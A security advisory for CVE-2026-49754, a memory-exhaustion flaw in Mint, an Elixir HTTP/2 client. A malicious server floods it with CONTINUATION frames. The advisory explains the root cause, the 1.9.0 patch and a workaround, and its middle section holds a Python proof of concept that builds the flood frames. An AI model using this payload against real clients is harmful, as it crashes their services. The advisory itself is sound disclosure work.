highCVE-2026-49754Jul 9, 2026

CVE-2026-49754: Mint HTTP/2 CONTINUATION Flood Memory Exhaustion

Rohit Hatagale
AI Security Researcher, SecureLayer7

A malicious HTTP/2 server can crash any Elixir process using Mint by sending an endless stream of CONTINUATION frames, filling the client's memory with no limit until the BEAM process dies.

Packagemint
Ecosystemerlang
Affected< 1.9.0
Fixed in1.9.0

The problem

Mint's HTTP/2 receive path parks incoming header-block fragments in `conn.headers_being_processed` when a HEADERS frame arrives without the END_HEADERS flag set. Every CONTINUATION frame on that stream is appended to the accumulator with no size or count cap.

The `max_header_list_size` setting is only checked on outgoing requests and defaults to `:infinity`, so it never guards inbound blocks. A server that never sends END_HEADERS can grow the accumulator to arbitrary size at line rate, one frame at a time.

Proof of concept

A working proof-of-concept for CVE-2026-49754 in mint, with the exact payload below.

python
# Attacker-controlled raw HTTP/2 server (Python, illustrative)
# Performs the real HTTP/2 handshake, then floods CONTINUATION frames.
import socket, struct, time

# HTTP/2 connection preface + minimal SETTINGS ack already exchanged.
# Frame layout: length (3B) | type (1B) | flags (1B) | stream_id (4B) | payload

def make_frame(frame_type, flags, stream_id, payload):
    length = len(payload)
    header = struct.pack('>I', length)[1:]  # 3-byte big-endian length
    header += bytes([frame_type, flags])
    header += struct.pack('>I', stream_id & 0x7FFFFFFF)
    return header + payload

# HEADERS frame on stream 1: flags=0x0 (no END_HEADERS, no END_STREAM)
# Empty header-block fragment to open the continuation sequence.
HEADERS_FRAME_TYPE = 0x1
CONTINUATION_FRAME_TYPE = 0x9
NO_FLAGS = 0x0
STREAM_ID = 1
MAX_FRAME_PAYLOAD = 16_384  # peer SETTINGS_MAX_FRAME_SIZE default

junk_block = b'\x00' * MAX_FRAME_PAYLOAD  # opaque bytes; HPACK decode never reached

frames  = make_frame(HEADERS_FRAME_TYPE, NO_FLAGS, STREAM_ID, b'')

# Flood: each CONTINUATION has flags=0x0 (END_HEADERS never set)
for _ in range(65_536):  # ~1 GiB accumulation as reported in PoC
    frames += make_frame(CONTINUATION_FRAME_TYPE, NO_FLAGS, STREAM_ID, junk_block)

# Send over an already-established HTTP/2 connection socket
# sock.sendall(frames)

The root cause is CWE-770: `handle_continuation/3` appended each frame's payload to `conn.headers_being_processed` unconditionally. Because the HPACK decoder only runs after END_HEADERS arrives, a server that withholds END_HEADERS bypasses all decoding-time size checks entirely.

The patch (commit b662d127) introduces `@default_max_header_list_size 262_144` (256 KB), advertises it to the server as `SETTINGS_MAX_HEADER_LIST_SIZE`, and checks the compressed accumulator byte-length on every fragment append. If the limit is exceeded before END_HEADERS, the connection is closed with a GOAWAY PROTOCOL_ERROR immediately, bounding memory to at most one limit-sized block per connection.

The fix

Upgrade to mint 1.9.0. The patched version caps inbound header-block accumulation at 256 KB by default and sends GOAWAY if a server exceeds it. If upgrading immediately is not possible, pass `protocols: [:http1]` to `Mint.HTTP.connect/4` for connections to untrusted servers to skip the vulnerable HTTP/2 receive path entirely.

Reported by Peter Ullrich (PJUllrich).

References: [1][2][3][4][5][6]

Related research